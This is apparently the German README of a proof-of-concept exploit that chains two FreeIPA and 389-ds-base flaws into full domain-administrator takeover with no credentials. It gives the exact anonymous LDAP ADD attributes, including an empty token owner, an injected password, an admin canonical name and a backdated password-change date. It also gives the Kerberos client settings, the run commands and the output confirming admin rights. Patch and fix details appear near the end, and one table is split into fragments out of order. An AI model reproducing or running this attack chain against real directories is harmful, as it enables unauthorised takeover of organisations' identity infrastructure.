
Proof-of-Concept-Exploit für CVE-2026-76578 und CVE-2026-76560, das anonymes LDAP ADD mit einem 389-ds SELFDN-Bypass verkettet, um FreeIPA-Domain-Admin-Rechte zu erlangen.
Produkt: FreeIPA 4.9.x – 4.13.3
Schweregrad: Kritisch (CVSS 9.8)
Behoben: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Dieser Proof-of-Concept wurde ausschließlich innerhalb einer isolierten, privat betriebenen Laborumgebung zum Zweck autorisierter Sicherheitsforschung und Schwachstellenvalidierung entwickelt und ausgeführt.
Vor der Verwendung dieses Skripts:
Die Autoren übernehmen keine Haftung für Missbrauch. Dieser Code wird ausschließlich für defensive Forschung und autorisierte Penetrationstests bereitgestellt.
Hinweis zur Portabilität: Dieses Skript wurde gegen die spezifischen Paketversionen validiert, die im Abschnitt Testumgebung unten aufgeführt sind. Das Verhalten auf anderen OS-Versionen, Patch-Ständen oder nicht-standardmäßigen FreeIPA-Konfigurationen kann abweichen. Verifizieren Sie Ergebnisse stets unabhängig in einer kontrollierten Umgebung, bevor Sie Schlussfolgerungen über ein Produktionsziel ziehen.
| Parameter | Wert |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Domain | test.local |
| Server-IP | 192.168.1.11 |
| Hostname | ipa-master.test.local |
| Angreifer-Host | Kali Linux (extern, keine Domänenmitgliedschaft) |
Ein nicht authentifizierter LDAP-Client kann einen OTP-Token-Eintrag unter cn=otp hinzufügen und
vollständige FreeIPA-Domänenadministrator-Rechte erlangen. Zwei Fehler wirken zusammen:
CVE-2026-76578 (FreeIPA) — die OTP-ADD-ACI hat keine targetattr-Einschränkung,
sodass anonymes ADD jedes Attribut enthalten kann: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange usw.
CVE-2026-76560 (389-ds-base) — der SELFDN-Evaluator behandelt "" (leerer
String) als Übereinstimmung mit dem anonymen Bind-DN und umgeht damit die
ipatokenOwner#SELFDN-Eigentümerprüfung.
Die entscheidende Erkenntnis — kein vorab erfasster Blob, kein Zugriff auf den Master-Key nötig:
Das Hinzufügen von objectClass: inetOrgPerson + userPassword zum Eintrag löst das
389-DS ipapwd-Plugin aus, das serverseitig automatisch krbPrincipalKey
generiert und ihn mit dem krbMKey des Ziel-Realm verschlüsselt. Der Angreifer
gibt ein Klartextpasswort an; der Server leitet den Kerberos-Schlüssel intern ab.
Das Setzen von krbLastPwdChange: 20200101000000Z (Vergangenheitsdatum) im selben ADD umgeht
die krbMinPwdLife-Richtlinie, die andernfalls eine interaktive Passwortänderung
erfordern würde, bevor kinit erfolgreich ist.
| CVE | Komponente | Beschreibung |
|---|---|---|
| CVE-2026-76578 | FreeIPA | OTP-ACI fehlt targetattr — jedes Attribut passiert anonymes ADD |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true erforderlich für Level 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey ist mit dem krbMKey (Master-Key) des Ziels verschlüsselt.
Der Master-Key wird in LDAP unter cn=REALM,cn=kerberos gespeichert und ist nur
für den Directory Manager lesbar — nicht anonym, nicht durch uid=admin via GSSAPI.
Das direkte Injizieren von krbPrincipalKey ist ohne den Master-Key unmöglich.
Das Injizieren von userPassword delegiert die Schlüsselgenerierung an das ipapwd-Plugin
des Servers, das internen Zugriff auf krbMKey hat und die Verschlüsselung
transparent durchführt. Die ACI (CVE-2026-76578) lässt userPassword ohne
targetattr-Prüfung durch.
Das Kerberos-Uniqueness-Plugin erzwingt Eindeutigkeit für krbPrincipalName und
krbPrincipalAlias über das gesamte Suffix, aber nicht für krbCanonicalName.
Ein neuer Eintrag in cn=otp mit krbCanonicalName: admin@REALM steht nicht im Konflikt
mit dem echten admin-Principal.
Mit canonicalize = true auf dem Client ruft kinit attacker@REALM den
Eintrag über krbPrincipalName ab, aber der KDC stellt das TGT mit
cname = krbCanonicalName = admin@REALM aus. GSSAPI löst dies zum echten
uid=admin-DN auf — bereits ein legitimes Mitglied von cn=admins. Es wird keine
Gruppenänderung durchgeführt.
Wenn userPassword hinzugefügt wird, setzt ipapwd krbPasswordExpiration auf jetzt
(abgelaufen) und krbLastPwdChange auf jetzt. Mit Standard-krbMinPwdLife = 3600s
würde kinit zur Passwortänderung auffordern, bevor ein TGT ausgestellt wird.
Das Setzen von krbLastPwdChange: 20200101000000Z im ursprünglichen ADD überschreibt den
Plugin-Wert auf sechs Jahre in der Vergangenheit und erfüllt damit die Mindestlebensdauer-Prüfung.
krbPasswordExpiration: 20990101000000Z verhindert die Ablaufaufforderung. Beide
Attribute werden akzeptiert, weil die OTP-ACI keine targetattr-Einschränkung hat.
Um eine anfällige FreeIPA-Instanz auf einer frischen VM bereitzustellen:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 fügt der OTP-ACI eine explizite targetattr-Allowlist hinzu und blockiert
damit die anonyme Injektion von userPassword, krbPrincipalAux, krbPrincipalKey und
krbCanonicalName.
389-ds-base 3.2.0-10.el10_2 korrigiert den SELFDN-Evaluator, sodass "" als
übereinstimmender DN für anonyme Binds abgelehnt wird.
Beide Fixes sind unabhängig voneinander erforderlich — jeder einzelne reduziert, aber eliminiert nicht die Angriffsfläche.
| 389-ds-base |
SELFDN-Evaluator akzeptiert "" als anonymen Bind-DN |
| Komponente | Anfällig | Behoben |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < gepatchter Build | siehe entsprechendes Advisory |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | nicht gepatcht zum Zeitpunkt der Tests |